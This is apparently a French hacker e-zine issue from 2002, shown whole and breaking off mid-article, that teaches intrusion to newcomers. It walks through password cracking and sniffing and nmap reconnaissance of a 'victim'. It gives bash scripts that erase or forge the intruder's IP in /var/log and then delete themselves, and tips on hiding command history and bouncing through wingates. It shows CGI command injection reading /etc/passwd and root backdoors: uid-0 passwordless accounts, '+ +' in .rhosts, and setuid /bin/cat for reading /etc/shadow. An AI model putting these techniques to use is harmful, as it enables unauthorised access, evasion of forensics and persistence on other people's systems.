.: Input Output Corporation :. http://ioc.multimania.com [ IOC Magazine ] Issue#2 v.2 Réedition 01/01/2002 ------------------------------------------------------------------------------------------ >>> E D I T O <<< ------------------------------------------------------------------------------------------ A l'heure ou ces lignes sont écrites, on est en 2001. A l'heure ou vous les lirez, on sera en 2002. On va faire comme si j'y étais. L'euro est arrivé. Les vieux vont se faire ruiner. C'est vrai, combien vont ne pas faire la différence entre un billet de 500 euros et un billet de 500F? c'est la question que je me suis posé l'autre soir. Mais 2002 est aussi l'année de la cybercriminalité - le conseil de l'europe a voté, au mois de novembre 2001, une loi sur la cybercriminalité dont je vous ferais une analyse dans le prochain numéro. Cette loi est à la fois bien, et pas bien. Les lamers se diront 'une loi pour punir les hackers'. Pas seulement je leur répondrais, car la criminalité c'est un tas de choses. Par exemple, ce texte de loi prend en compte la diffusion/échange d'images à caractère pédophile via les réseaux ou encore le racisme. Bref, que des trucs qui n'ont aucun rapport avec le piratage. Mais bon, que pouvons nous faire ? nous qui sommes nous mêmes une partie des criminels dont il est question. Seul le futur nous le dira. En attendant, voici ce tout nouveau numéro. - Lex Icon ------------------------------------------------------------------------------------------- >>> A V E R T I S S E M E N T <<< ------------------------------------------------------------------------------------------- Ce Magazine parle de différents aspects de l'informatique et en particulier de son aspect plus ou moins détourné comme l'intrusion sur les réseaux / systèmes. Nous ne vous incitons aucunement à perpétrer des actes tels qu'ils sont décrits dans cette publication. Si vous souhaitez quand même utiliser les informations contenues dans ce magazine, que vous les utilisez, que vous vous retrouvez à avoir un mandat d'arrêt international vous impliquant dans la criminalité informatique, on vous aura mis en garde : ON Y EST POUR RIEN, C'est votre problème, pas le notre. ___ ____ _ _ _ _ __ _____ _____ / _\/ \ | \ / || \ / | /\ |__|| __ \ ___| \ / / \ | \ / || \ / | / \ __ | \/ / |__ _ \ \ | /\ || \/ || \/ |/ \| || /| __| / |__ \| \/ || |\ /| || |\ /| | /\ \ || |\ \| | \ / \ / | | \/ | || | \/ | | /__\ \ || | \ \ |___ \___/ \____/ |_| |_||_| |_|/ \__\||_| \_\____| ----------------------------------------------------------- | Auteur | n° | T i t r e | ----------------------------------------------------------- | Neo Fox |I. | On Recrute ! | ----------------------------------------------------------- | Lex Icon |II. | La scène française | ----------------------------------------------------------- | Lex Icon |III. | Vous avez dit Hacking ? | ----------------------------------------------------------- | Lex Icon |IV. | Hack CGI/PERL | ----------------------------------------------------------- | Neo Fox |V. | Prog. Backdoors 1/2 | ----------------------------------------------------------- | Neo Fox |VI. | Prog. Backdoors 2/2 | ----------------------------------------------------------- | Lex Icon |VII. | Buffers Overlows | ----------------------------------------------------------- | Neo Fox |VIII.| Intro. à TCP/IP 2/2 | ----------------------------------------------------------- | IOC |IX. | Profil : Lex Icon | ----------------------------------------------------------- | IOC |X. | Contacts | ----------------------------------------------------------- ------------------------------------------------------------------------------------------- I. ON RECRUTE ! ------------------------------------------------------------------------------------------- Sur les 4 membres que compte notre groupe, nous ne sommes toujours que 2 à participer à l'élaboration de ce magazine, pour des raisons de disponibilité. Etre 2 pour écrire un mag, c'est peu, voir trés peu. Il nous faut écrire au moins 3 ou 4 articles chacun, pour pouvoir mettre en ligne une issue convenable. Cela prends du temps, et de l'aide serait la bienvenue. C'est pourquoi l'on recrute : On recherche des passionnés qui voudraient se joindre à nous et collaborer à cette publication. On veut des gens qui possédent de bonnes notions de prog. en C/C++, Perl ou Assembleur, qui s'y connaissent également en intrusion réseau/systèmes, apellez ça comme vous voulez, Hack ou piratage, bref, on recherche surtout des personnes motivées. Si vous collez au profil, si vous êtes intéressés par l'aventure, mailez-nous au plus vite à Invisible_evil_meik@hotmail.com ou neo_fox_2001@hotmail.com. Je sais pas si vous avez remarqué, mais le tout premier numéro semblait un peu fade. Le graphisme n'était pas très recherché. Dans ce second numéro, on a un peu essayé de faire du mieux. Il est clair que c'est pas le graphisme qui doit faire le contenu, mais bon, c'est pas deux ou trois encadrements qui vont nous tuer. Mais si vous maîtrisez l'art de l'ascii comme un dieu, vous pouvez nous aider à faire un magazine déjà un peu plus vivant. --------------------------------------------------------------------------------------------- II. La Scène Française selon Lex Icon --------------------------------------------------------------------------------------------- Ce qui suit n'est que MON point de vue sur l'état de la scène underground française à cette date historique du 1er Janvier 2002. Au lieu de me lancer dans des grands discours, j'ai préféré reprendre un article très célèbre et le modifier pour qu'il corresponde à l'image que j'ai de l'underground français. désolé pour ceux qui n'en font pas partie, car il y a des exceptions quand même... << Un autre s'est fait prendre aujourd'hui. C'est de partout dans les journaux : "Un adolescent arrêté pour utilisation de SubSeven", "Scandale, un hacker arrêté pour avoir mailbombé quelqu'un". Satanés gosses, ils sont tous pareils. Mais vous êtes vous déja, dans votre howto-hack-hotmail en 3 partie, posé la question "Comment utiliser Back Orifice ?". Vous êtes vous demandé qu'est ce qui a pu lui faire utiliser phf ? quels scripts l'avaient modelé ? Qui a bien pu le r00ter ? Je suis un h4x0r, entrez dans mon monde. Le mien commence avec AOL. Je suis plus futé que tous les autres newbies, les conneries qu'ils m'apprennent me lassent. Satanés gosses, ils sont tous pareils. Je suis dans un lycée professionel avec d'autres trisomiques comme moi. J'ai écouté pour la quinzième fois les conseillers raconter comment réduire l'alcoolisme. "Non M. le conseiller, je n'ai pas de bière, juste de la J&B". Satané gosse, il a probablement h4xoré ou téléchargé SubSeven depuis HNC. Ils sont tous pareils. J'ai fait une découverte aujourd'hui. J'ai trouvé un ordinateur. C'est génial, ça fait ce que je lui dis de faire. S'il y a une erreur, c'est à cause de Windows, donc il plante. J'ai eu RedHat 6.0..ugh, il a planté : - Pas parce qu'il ne m'aime pas - Pas parce qu'il se sent menacé par moi - Pas parce qu'il pense que je suis un petit con - Pas parce qu'il n'aime pas enseigner et ne devrait pas être là - ... (interrompu) "Je t'ai dit que c'est Windows !! Sale newbie" Tout ce qu'il fait, c'est scanner Internet pour trouver des gens infectés par SubSeven. Ils sont tous pareils. Et c'est arrivé, une porte s'est ouverte au monde, fonçant à travers la ligne téléphonique comme un nouveau script dans les mains d'un gamin de #hack.fr, un paquet OOB est envoyé, un refuge de l'utilisation quotidienne d'IRC est préféré, un serveur est trouvé. "C'est... c'est là où je traine..." Je connais tout le monde ici... même s'ils m'ont scanné pour B.O, même si je ne leur ai jamais parlé ni même écoutés... Satanés gosses, ils occupent encore la ligne téléphonique avec leurs appels locaux... Ils sont tous pareils. Vous nous rabachez que nous sommes tous pareils... on a été nourri à la petite cuillère à l'école. On nous donnait du Crack quand on voulait de l'ecstasy. Les morceaux de crack auxquels on avait droit ne fonctionnaient pas. On a été dominés par cDc ou on a reçu chez nous la DST. Les rares qui avaient un trojan ou un nuker nous nukaient, mais ces gens là sont des 3l33t. C'est notre monde aujourd'hui. Le monde de SubSeven et nmap, la beauté des lignes T1. On utilise un service déjà existant sans payer ce qui pourrait être bon marché si ce n'était pas la propriété de sites d'exploits 0-day ou de Warez. On existe sans couleur de peau, sans religion, sans nationalité... et on est des criminels. On est à la recherche de scripts gratuits... et on est des lamers. Vous vendez des informations sur le nucléaire à la chine, vous trichez, couchez avec les internes, vous mettez vos pubs sur nos pages de chez.com, vous mentez en nous faisant croire que c'est pour notre propre bien être... et nous sommes encore des criminels. Oui je suis un criminel. Mon crime est celui de la curiosité. Mon crime est celui de juger les gens par les scripts qu'ils possèdent et combien de pages ils ont défacé... non pas par ce à quoi ils ressemblent. Mon crime est celui d'utiliser Back orifice ou SubSeven. Pardonnez moi, je suis un newbie et c'est mon manifeste d'élite. Vous pouvez arrêter ce h4xor, mais vous ne pouvez pas tous nous arrêter, après tout, \V3 0V/n Yew [We Own You]. >> - FIN Bon, et encore, pour ceux qui ne sont pas concernés, veuillez faire comme si vous n'avez pas lu ce document. C'est vrai quoi, de partout on entend parler de mecs qui utilisent des nukers et des trojans, et ces gars là représentent bien 70% de la scène mondiale, ce qui correspond aussi à près de 85% de la scène française totale (95% sans compter les vrais hackers qui n'ont pas de site, jamais écrit dans un magazine, qui ne trainent pas sur IRC... bref, pas moi). ------------------------------------------------------------------------------------------ III. Hacking par Lex Icon ------------------------------------------------------------------------------------------ Bon, c'est parti pour ce guide qui sera, je l'espère, bien compris par tout le monde, y compris les petits lamers de Windows. Pour vraiment comprendre ce guide, vous devrez quand même connaître un peu UNIX, même si je vous donnerais la plupart des explications au fur et à mesure. Cet article n'a pas pour vocation de vous apprendre comment entrer dans tous les systèmes du monde entier car il y a des milliers de failles, mais une seule méthodologie... c'est celle ci que je vais vous apprendre ici. --|VIEILLES TECHNIQUES ET EXPLOITS LOCAUX|-- Il y a plusieurs techniques de hacking, mais elles ont toutes en commun le fait qu'il faut exploiter une faille dans un logiciel afin de pouvoir faire quelque chose qu'on ne peut pas faire en temps normal. La technique la plus ancienne consiste à cracker le fichier /etc/passwd afin d'obtenir le mot de passe du root. Voici en gros comment ça marche : - Vous avez un cracker de passwd (par exemple John1-6) - Vous le compilez - Vous le lancez sur le fichier /etc/passwd avec une grosse bibliothèque de mots - Vous avez le passwd ou vous l'avez pas Cette méthode ne fonctionnera pas si la machine a les passwd shadow. Si c'est le cas, vous verrez un x à la place du passwd. Si vous avez pas réussi, vous devez essayer la technique suivante : Si vous êtes sur le même réseau que la machine que vous voulez hacker, vous pouvez tester un sniffer pour sniffer des passwds. Certains bons sniffers sont sniffit, linsniff666 et linsniffer. Il paraîtrait qu'il existe une version de sniffit pour Windows mais il paraît aussi qu'elle pue. Pour se servir d'un sniffer : - Vous téléchargez le code source - Vous le compilez sous un nom pas trop évocateur - Vous le lancez - Vous revenez quelque temps après Et maintenant, les exploits... C'est vraiment tout con comme ça marche. C'est un source que vous compilez ou un script qui s'exécute, qui exploite une faille dans un programme et qui vous donne le root sur le système. Ci joint, le script crontab_exploit.sh qui fonctionnait sur ma machine linux jusqu'à ce que je le découvre (faîtes des mises à jour régulièrement), mais heureusement, personne n'a réussi à entrer dans ma machine à ce jour. Cet exploit obligatoirement sur un système Linux RedHat 6.0 non patché et qui ont un Vixie Crontab non mis à jour. --|TECHNIQUES ET EXPLOITS DISTANTS|-- Les exploits distants fonctionnent de manière que vous puissiez exécuter un programme sur votre machine, ce programme envoie des données à votre victime en exploitant une vulnérabilité, ce qui vous donne accès à la machine distante. Le fichier imapx.c est un exploit qui exploite une vulnérabilité dans certaines implémentations imap4. Une fois exécuté sur une victime, il se démerde de vous obtenir un shell root. Parfois, vous devrez savoir quels sont les services proposés par une machine pour savoir quel genre d'exploit peut être utile. Pour ça, vous utiliserez nmap qui est un bon scanner de ports. Vous allez me le chercher sur www.insecure.org et vous me l'installez. Puis vous le lancez de manière simple : % nmap votre_victime ou encore % nmap -sS victime Par exemple, si votre victime a le port 25 d'ouvert, vous saurez que c'est un port de smtp et que une grande partie des smtp sont des sendmails. On fait un telnet sur le port 2 de la victime et on suppose que la version du sendmail qui est renvoyée est 8.9.3. Cool, il y a justement un exploit pour cette version. Maintenant, vous savez plus ou moins ce que sont les exploits et leur utilité. Mais si vous faîtes uniquement ça, vous avez de grandes chances de vous faire choper. Vous devez aussi vous planquer de sorte à ce que personne ne sache que vous êtes passé. Chaque fois que vous vous connectez à un système, même qu'une seconde, votre adresse IP est logguée, que ce soit sur le http ou sur le telnet... La première chose à connaître est comment nettoyer les fichiers de log. D'habitude, les logs sont situés dans /var/log. Si un jour on vous dit qu'il faut taper rm -rf /var/log (pour effacer le dossier entier), rigolez un bon coup et dites vous que vous parlez à un lamer. Un administrateur système qui ne se rend pas compte qu'il manque son dossier /var/log ne devrait pas être administrateur système. Si c'est un bon administrateur, il pourra remettre le tout en place, voir votre adresse IP et porter plainte. Et s'il y a toujours des gens un peu ignorants pour se dire qu'il est impossible de récupérer des données sous un système UNIX, allez voir /usr/doc/HOWTO/mini/Ext2fs-Undeletion. Je traduirais ce document pour le magazine N°3. Ne supprimez aucun fichier. Un moyen pour effacer nos traces (en supposant que notre IP est 127.0.0.1) est de se faire un petit script qui fera tout... #!/bin/bash IP="$1" cd /var/log ls -l > list.tmp for files in 'cat list.tmp'; do cat $file | grep -v $IP > tpm.$$ mv tmp.$$ > $file done rm -f list.tmp cd echo "done" rm -f $0 Vous le sauvegardez sous le nom clean.sh, le rendez exécutable en tapant chmod +x clean.sh et vous le lancez comme ça (en supposant que vous voulez virer l'adresse 127.0.0.1): # clean.sh 127.0.0.1 Le script effacera toutes les lignes qui contiennent votre adresse ip puis il s'effacera tout seul, comme ça vous oublierez pas de l'effacer ;-) Par contre, s'il y a un tripwire installé, il s'en rendra compte car le fichier ne fera pas la même taille (à quelques octets près). Donc vous utilisez le script suivant qui met une adresse IP autre que la votre: #!/bin/bash IP="$1" IP2="$2" cd /var/log/ ls -1 > list.tmp for files in `cat list.tmp`; do sed 's/'$IP'/'$IP2'/g' $files > tmp.$$ mv tmp.$$ $files done rm -f list.tmp cd echo "Done" rm -f $0 Et pour le lancer, vous faîtes : clean.sh 127.0.0.1 187.5.5.7 Assurez vous que l'adresse IP que vous mettez est bien du même format (le même nombre dans chacune des zones). Ensuite, faîtes la même chose pour votre nom d'hôte. Si vous venez de 127.0.0.1, chercher localhost. Ensuite, exécutez ln -s /dev/null ~/.bash_history afin que personne ne puisse lire votre fichier d'historique des commandes. C'est mieux que d'effacer les fichiers. Ensuite, il y a le bouncing qui consiste à passer par un autre ordinateur avant de vous connecter à votre cible. En gros : - Vous vous connectez sur le port 23 d'une wingate - vous tapez l'ip de la machine sur laquelle vous voulez vous connecter - et voilà Je vous conseille de passer par quelques wingates, vous serez déjà plus dur à tracer (qui s'amuserait à contacter les propriétaires d'une dizaine de wingates ??). Les lamers appellent ça du spoofing, mais en fait, ça s'appelle du bouncing. Mais bon, les lamers sont une classe à part. Le vrai spoofing, j'en parlerais énormément dans le prochain numéro --> quasiment tous mes articles en parleront. --|CONCLUSION|-- Voilà, c'est la base pure du hacking. Mais même si vous hackez 100 serveurs, vous ne serez toujours pas un hacker, mais simplement un script kiddie. Devenir un hacker demande énormément de motivation et de détermination. Pour devenir un hacker, il faut connaître à fond le système d'exploitation sur lequel on traine, apprendre à programmer en bash, c et parfois même en assembleur -> pour ensuite découvrir vous même des failles/vulnérabilités et mettre au point vos propres exploits. C'est comme si vous disiez que vous êtes un webmaster parce que vous savez utiliser internet explorer, ou dire que vous êtes un programmeur parce que vous savez compiler un programme. Pour être un hacker, il faut pas se contenter d'exécuter les exploits que les autres ont mis au point. --------------------------------------------------------------------------------------------- IV. Hack CGI/Perl part. 1 par Lex Icon --------------------------------------------------------------------------------------------- --|INTRODUCTION|-- Pour comprendre ce texte, vous devez connaître un minimum le langage perl. Si vous le connaissez pas, c'est pas grave, je ferais un cours très complet pour le #3, mais c'est pas tout, certains trucs fonctionnent également avec d'autres langages. Si vous connaissez aucun langage, ben attendez le prochain numéro - je parlerais de programmation. --|FONCTIONNEMENT DE PERL/CGI|-- CGI veut dire Common Gategay Interface. Les scripts CGI permettent aux pages web d'interagir avec un utilisateur via un exécutable basé sur le serveur web. Pour chaque script cgi exécuté, un nouveau process est lancé et il se terminera dès que le script s'arrêtera. Les données sont envoyées au serveur pour être traitées, puis retournent à l'utilisateur sous la forme d'une page html. Le diagramme suivant explique ce processus : NAVIGATEUR SERVEUR APPLICATION (utilisateur) | Utilisateur --[1]- Serveur envoie le form affiche le form | au client | | entree des -----+----------[2] donnees et | envoi au serveur | | | [3]----------+--- Serveur envoie | les donnees | au script cgi ---[4]----- donnees sont traitees | et elles sont | renvoyees | au serveur | | | serveur envoie -------------[5] Client reçoit | donnees traitees donnees ----[6]---- au client traitees | | | [RESEAU] La plupart des script sont programmés en Perl, mais à la base, n'importe quel langage qui peut lire depuis "STDIN" (généralement le clavier) peut être utilisé à des fins de CGI. Vu que quasiment tous les scripts sont faits en perl, ça peut être cool de connaître ce langage. Le CGI est utilisé pour faire des actions qu'une page web normale ne peut pas faire. Manipuler les bases de données de comptes utilisateur, calculer des taux de change... Il existe des scripts pour quasiment tout... mais si ça n'existe pas, vous pouvez toujours programmer le votre. --|POURQUOI LA CGI EST VULNERABLE|-- La plus grosse faille dans le système CGI, c'est les entrées utilisateur. Les utilisateurs peuvent entrer des données dans le script cgi, lui faisant faire des actions pas prévues au départ, comme lire certains fichiers ou en exécuter d'autres. Et le pire, c'est que ce que l'utilisateur entre qui permet ça. Regardez ce que ça donnerait si les données entrées étaient les paramètres passés à la commande ECHO. Selon les permissions qui seraient données à echo, ça aurait des conséquences catastrophiques sur tout le système. Une utilisation normale serait : echo "votre texte" << fichier Mais en modifiant les paramètres, on pourrait faire ça : echo "votre texte" ; cat /etc/passwd Ce qui enregistre l'echo sur votre terminal et ensuite appelle cat pour lire le fichier passwd. Il est important de ne pas faire confiance aux saisies de l'utilisateur. L'exemple ci-dessus est très simplifié et seulement un script cgi très con autoriserait ça. Dans cet article, je vais seulement m'occuper des scripts perl vu qu'ils sont les plus nombreux et contiennent la plupart des failles. Généralement, si vous savez comment sont écrits les scripts cgi et comment les données sont récupérées et retournées, vous pouvez sauter cette section. Voici un des scripts les plus simples ci dessous : #!/usr/bin/perl # Petit script simple $variable = "hahaha"; print< Hello World!

$variable EOF Voilà. Voyons donc ce qui se passe dans ce script. Dans ce script, on a pas l'occasion d'entrer ce qu'on veut, mais il y a quand même une sortie. Quand ce script est rendu exécutable dans le dossier cgi-bin et qu'il est invoqué depuis un navigateur, il affiche simplement "Hello World!" et "hahaha" à l'écran. Tout ce qu'il y a entre <) { push(@fichier,$_); } close(FILE); print< @fichier EOF Dans ce cas là, le fichier $variable est ouvert. Une valeur est assignée à $variable à la 3eme ligne. La variable $ENV(QUERY_STRING) sera l'entrée utilisée dans ce cas. On va dire qu'on veut lire le fichier passwd avec ce script. Avant tout, on doit le rendre exécutable, et pour ce faire, on fait : chmod 755 script.pl Après l'avoir appelé script.pl et placé dans le dossier cgi-bin du serveur. Puis pour l'invoquer et l'utiliser à nos fins pas claires, on ouvre cette page dans un navigateur : http://votre_serveur/cgi-bin/script.pl?/etc/passwd Et on vous présentera le script à l'écran. La partie après le '?' c'est la valeur qui est assignée à la variable. Car c'est ce qui va dans $ENV(QUERY_STRING) et par conséquent, dans $variable (vu que $variable prend la valeur de $ENV qui prend sa valeur de QUERY_STRING qui correspond à l'entrée utilisateur). J'espère que vous aurez compris via cet exemple que c'est ce qu'entre l'utilisateur qui est la cause de ce bordel. --|FILTRER LES ENTREES DE L'UTILISATEUR|-- Pour vous assurer qu'aucun caractère dangereux ne sera utilisé ou du moins ne figurera dans la valeur de $variable, vous devez enlever ces caractères avant qu'ils ne soient utilisés pour l'ouverture du fichier ==> une grosse partie du problème sera résolue. C'est exactement ce qui sera fait pour sécuriser et vérifier l'entrée de l'utilisateur. Regardez la ligne 5 de mon script du dessus. Si vous la décommentez, tous les slashs seront enlevés de la saisie utilisateur. Au lieu de /etc/passwd, le script cherchera etcpasswd qui est un fichier qui en théorie n'existe pas. Pour comprendre comment la variable sera changée, on doit examiner comment fonctionne la ligne $variable =~ s/\///g; voici comment elle fonctionne : $autre_variable = "c'est un texte"; $autre_variable =~ s/texte/ligne/g; L'opérateur s remplace un certain nombre de caractères dans une chaine. Dans la situation ci dessus, il remplace 'texte' par 'ligne'. Maintenant, on imagine une autre situation : $variable = "/etc/passwd"; $variable =~ s/\//BAH/g La variable sera maintenant "BAHetcBAHpasswd". Si vous regardez attentivement le source, vous verrez que j'ai mis '\/'. Devinez pourquoi..mettre le / foutrait tout en l'air, et il doit être 'échappé'. Basiquement, c'est le moyen le plus simple de mettre un / dans le champ de remplacement sans embrouiller l'opérateur. Mais au lieu de la situation ci dessus, on va remplacer le / par rien du tout. $variable =~ s/\///g; Mais peut être que vous comprendrez mieux si je sépare tout : Opérateur ==> s/ Texte à remplacer ==> /\ Slash de séparation ==> / Texte de remplacement ==> Opérateur de fin ==> /g OK, ça doit vous sembler un peu plus clair maintenant, sinon, allez apprendre à programmer. Un autre moyen de résoudre ce problème serait d'échapper tous les caractères dangereux. Mais c'est simplement une alternative à la solution précédente, sauf que cette solution garde les slashes et les autres caractères dont le programme peut avoir besoin. L'échappement consiste en la même chose que la substitution, à part que l'utilisation des caractères de substitution n'est pas la même. Echapper les caractères dangereux consiste à mettre un anti-slash devant eux. Ce qui échappera tous les méta-caractères du perl. En mettant un / devant un $, perl pensera que le $ est un simple caractère utilisé par exemple pour refaire le symbole du dollar. Dans la plupart des scripts, des méta caractères sont échappés, de cette manière, si quelqu'un avait tapé "hahaha ;-)" dans un script, ça reste pareil après avoir passé le caractère d'échappement. Si tous les méta caractères étaient supprimés, la chaine ressemblerait à "hahaha" vu que ; et ) seraient effacés car ce sont des méta-caractères. Voici comment les méta-caractères sont gérés : s/$%*/\\$1/g; Et pour mieux comprendre, on éclate le tout : Opérateur de substitution ==> s/ Texte à remplacer ==> $%* Slash de séparation ==> / Texte de remplacement ==> \\$1 Opérateur de fin ==> /g Vous en avez une petite idée maintenant. Il y a une des zones dans les scripts cgi qui doit être comprise à fond, vu qu'habituellement elle contient des erreurs de programmation qui sont bonnes à exploiter. Vu que l'entrée utilisateur est la seule chose qu'un hacker peut potentiellement exploiter, c'est là qu'on va concentrer toute notre attention. --|CONCLUSION|-- C'est que la fin du premier article de cette longue série. En gros, ici ce n'étaient que les bases. Dans le prochain numéro, qui sortira on ne sait pas encore quand (soit le 14 juillet, soit un peu avant), vous verrez comment exploiter des opérateurs de substitution un peu fragiles. Oui, je sais que vous êtes impatients, mais dans la vie, il faut savoir se montrer patient, même si une attente de plusieurs mois est longue. ------------------------------------------------------------------------------------------ V. Classic Backdoors, concept & réalisation par NeoFox ------------------------------------------------------------------------------------------ [ Introduction ] Inutile de préciser que cet article s'adresse en particulier aux newbies d'Unix, les pratiquants confirmés étant déja rompus à ce genre d'exercice. [ Sommaire ] Voici comment va s'articuler l'article : Partie I. Le concept -> Généralités -> Les notions clés Partie II. Programmation -> Notions de prog. -> Installation -> comeback.c Partie I : Le concept _____________________ Réaliser une backdoor est une chose relativement simple, si tant est que le neophyte maîtrise quelques notions importantes. Une fois que vous aurez lu ce texte en entier, vous verrez que vous n'aurez plus besion d'aller en chercher sur technotronic.com lorsque vous serez amenés à en utiliser une ... Cette partie va donc rapeller les principales définitions et notions utiles pour comprendre la suite de l'article. 1) Généralités : ________________ [ Vous avez dit backdoor ? ] Le terme "backdoor" signifie littéralement "Porte de derrière", sous-entendu par laquelle vous allez passer pour entrer en douce root sur un système. Une backdoor est un programme, un fichier ou une configuration spéciale qui est mise en place par un intrus passé root, pour lui permettre à l'avenir de garder un accès root sans avoir à ré-exploiter la vulnérabilité initiale. Notre intrus peut donc se repointer sur la machine et passer à nouveau root, même si l'admin à patché la faille d'origine. Il peut s'avérer utile de plaçer plusieurs backdoors de manière à en avoir toujours une sous la main au cas où l'admin viendrait à les découvrir. Le but des backdoors est de vous redonner le root, ou plus exactement de vous permettre d'exécuter des commandes en tant que root. Cela revient donc à exécuter un shell ( interpréteur de commandes ) avec les propriétés root. Du reste, nous le verrons plus loin, c'est exactement ce que fera la backdoor que nous allons programmer. [ Les différents types ] Les backdoors peuvent revétir différentes formes, des plus simples aux plus élaborées. Je vais donc lister les principaux types backdoors mais . /etc/passwd : Rapellons que l'on est root sur le système, donc, que nous avons accès à la totalité des fichiers systèmes, y compris des fichiers sensibles comme les fichiers passwords. Cette backdoor est la plus simple. Elle consiste à ajouter un utilisateur dans le fichier password, utilisateur dont le compte aura uid/gid à 0 mais pas de mot de passe, ce qui aura pour effet de vous donner le root lorsque vous vous loggerez en tant que ce nouvel user. Rapellons que uid/gid signifient "User ID" et "Group ID" soit identifiants d'utilisateur de de groupe. Ce sont comme vous le savez surement des valeurs désignant chaque compte pour en définir les droits. Plus uid/gid sont faibles, plus le compte à de droits, la valeur donnant tout les droits et correspondant au compte root. Une autre solution est d'éditer le fichier passwd à l'aide de vi ou de pico, puis de débloquer un compte par défaut comme "system" ou "adm" et lui ajouter un uid/gid 0. [root@cible.com]# cat /etc/passwd root:*:0:0:Super-User:/:/bin/bash bin:*:1:1::/bin:/bin/bash system::0:0::/:/bin/bash <- adm:*:3:4::/var/adm:/bin/bash lp:*:10:4:Printers:/:/bin/bash john:*:500:20:John Lenon:/home/dead:/bin/sh jack:*:501:20:Jack Chirac:/home/elysee:/bin/sh peter:*:502:20:Peter Pan:/home/peter:/bin/sh wendy:*:503:20:Wendy:/home/wendy:/bin/sh crochet:*:504:20:Capitaine Crochet:/home/crochet:/bin/sh laure:*:69:69:Laure St Claire:/home/salope:/bin/fuck new::0:0:salut tout le monde:/:/bin/sh <- oussama:*:666:666:Thaliban:/home/khaboul:/bin/laden [root@cible.com]# Si vous avez pris le temps de lire en détail chacune des entrées, vous noterez que cet extrait de fichier a été composé avec humour. Vous noterez également la présence flagrante de 2 backdoors. La première est enfait le compte system débloqué, sans mot de passe et avec uid/gid 0 et pour la seconde un nouvel utilisateur a été ajouté. L'ennui avec ce genre de backdoors, c'est qu'on ne peut pas faire plus voyant ! Un administrateur qui jette un coup d'oeil au fichier passwd vous les vire en 3 sec ... ./.rhosts : Vous êtes toujours loggé sur le système en tant que root et donc vous avez accès au homedir root qui n'est autre que la racine. Je pense que vous avez vu où je veux en venir : [root@cible.com]# echo + + >> $HOME/.rhosts [root@cible.com]# exit [user@cible.com]$ rsh -l root localhost sh -i [root@cible.com]# Ce qui aura pour effet de premettre à tout le monde de se connecter au compte root à l'aide des commandes R*. Le premier souci, c'est que vous destinez cette backdoor à votre usage personnel et ce serait dommage que par un putain de hasard un crasher se logge dessus en bouzille tout. Donc le plus judicieux serait de restreindre l'accès root aux seuls utilisateurs venant du système lui même donc : [root@cible.com]# echo localhost + >> $HOME/.rhosts [root@cible.com]# [user@cible.com]$ rsh -l root localhost sh -i [root@cible.com]# Dans ce cas, vous devez faire le rlogin à partir d'un compte utilisateur de la cible, en local. L'autre souci, pareil que pour le fichier /etc/passwd, c'est que l'admin, s'il se doute de quelque chose, aura pour premier réflexe de vérifier le contenu du homedir du root et virer le .rhosts. On peut donc faire la chose suivante : [user@cible.com]$ echo "echo + + > /.rhosts" >> /.logout [user@cible.com]$ Cela aura pour effet d'inclure une commande dans le fichier .logout, commande qui sera exécutée lorsque vous mettrez fin à la session en vous déconnectant. Dans ce cas, à chaque logout, un fichier .rhosts sera crée, donc dans le cas où le root l'aurait viré ... En tout cas, vous ne pouvez l'utiliser que si le port correspondant ( 513 ) est ouvert. De toute façon, cette backdoor classique est trop voyante ... ./bin/cat : Vous vous demandez ce que je veux dire hein ? En fait, ce n'est pas vraiement ce qu'on peut apeller une backdoor mais plutot une petite méthode de secours. Je m'explique : l'admin s'aperçoit que quelqu'un est entré sans être invité. Il va donc se mettre à tout vérifier comme un fou et va finir par trouver et virer vos backdoors si vous les aviez mal cachées. Vu que l'intrus a eut accés au compte root, l'admin va en changer le mot de passe. Le nouveau fichier passwd que de toute façon est shadowed contient donc le nouveau mot de passe root. Avant de partir, vous aviez piqué le fichier shadow pour cracker le pass du root, plus quelques pass utilisateurs. Vous vous repointez donc sur la machine grace l'un des passwords que vous aviez cracké, vous allez chercher ensuite vos backdoors mais vous voyez qu'elles ont été virées. Vous n'avez donc plus l'accès root ... L'exploit que vous aviez utilisé ne fonctionne plus car la faille semble patchée. Le mot de passe root que vous aviez à été changé, c'est la cata .. Dans ce cas là, un petit "cat /etc/shadow" serait bien pratique non ? Seulement voila, vu que le /etc/shadow est en mode 400 c'est à dire en lecture pour le root seul, il ne peut être affiché par un processus utilisateur, normal. L'exécutable /bin/cat appartient au root ... Admettons qu'avant de partir la première fois, vous aviez rendu suid /bin/cat, dans ce cas, à votre retour en simple user, /bin/cat s'exécuterait avec les privilèges root et vous auriez dans ce cas /etc/shadow en lecture ! Voici donc la manoeuvre : [user@cible.com]$ cat /etc/shadow /etc/shadow : Permission Denided [user@cible.com]$ cd [user@cible.com]$ ./votre_exploit [root@cible.com]# whoami root [root@cible.com]# ls -al /bin/cat -rwxr-xr-x 1 root root 12345 01 Oct 11:12 cat [root@cible.com]# chmod +s /bin/cat [root@cible.com]# ls -al /bin/cat -rwsr-sr-x 1 root root 12345 01 Oct 11:12 cat [root@cible.com]# exit [user@cible.com]$ whoami user [user@cible.com]$ cat /etc/shadow root:DLR23dkdç3549d3çd/dz932:0:0::: system:*:1:1:::: - - - - [user@cible.com]$ Voila, si vous avez rendu suid /bin/cat, vous avez donc accès au fichier /etc/shadow en lecture. Notez que ce truc est aussi valable avec /bin/more ou encore /bin/grep. .shell suid : Le shell suid est une backdoor des plus simples, qui permet, à partir d'un compte utilisateur, d'exécuter un shell avec les privilèges root. Seulement voila, la notion de suide est curciale pour la suite donc nous reviendrons plus en détail dans le second paragraphe. On peut combiner le shell suid avec une modifica- -tion de /etc/password comme nous le verrons plus tard, ce qui a pour avantage de se logger en tant qu'user mais d'avoir les privilèges root via le shell suid. .setuid backdoor : Il s'agit d'une backdoor programmable. Sa conception est simple mais nécessite de connaître les fonctions appropriées. Cette backdoor ne peut être utilisée que si l'on à le bon mot de passe. On va consacrer toute la seconde partie à ce type de backdoors. .TCP backdoor : Fallait bien que je trouve un nom à celle-ci ! C'est un type de backdoor qui est basé sur un système client/serveur et qui nécessite une bonne connaissance en programmation réseau. Le principe est simple cependant : Un serveur est lançé en root, en arrière plan, et attend la connction sur un port. A la connection, le serveur exécutera soit un shell, soit d'autres actions prédéterminées. Cette sorte de backdoors mériera un article à elle seule ; on aura l'occasion d'y revenir. Nous venons de voir les principaux types de backdoors. Si ce n'est pas le cas des plus simples, en revanche, les backdoors plus évoluées demandent de maîtriser certaines notions. Voici justement quelques notions importantes ... 2) Les notions clés : _____________________ Nous allons voir deux points importants, la notion de suid et une backdoor qui en découle, le shell suid. [ La notion de SUID ] Sur un système, de nombreux programmes appartiennent au root mais sont sensés être utilisables par de 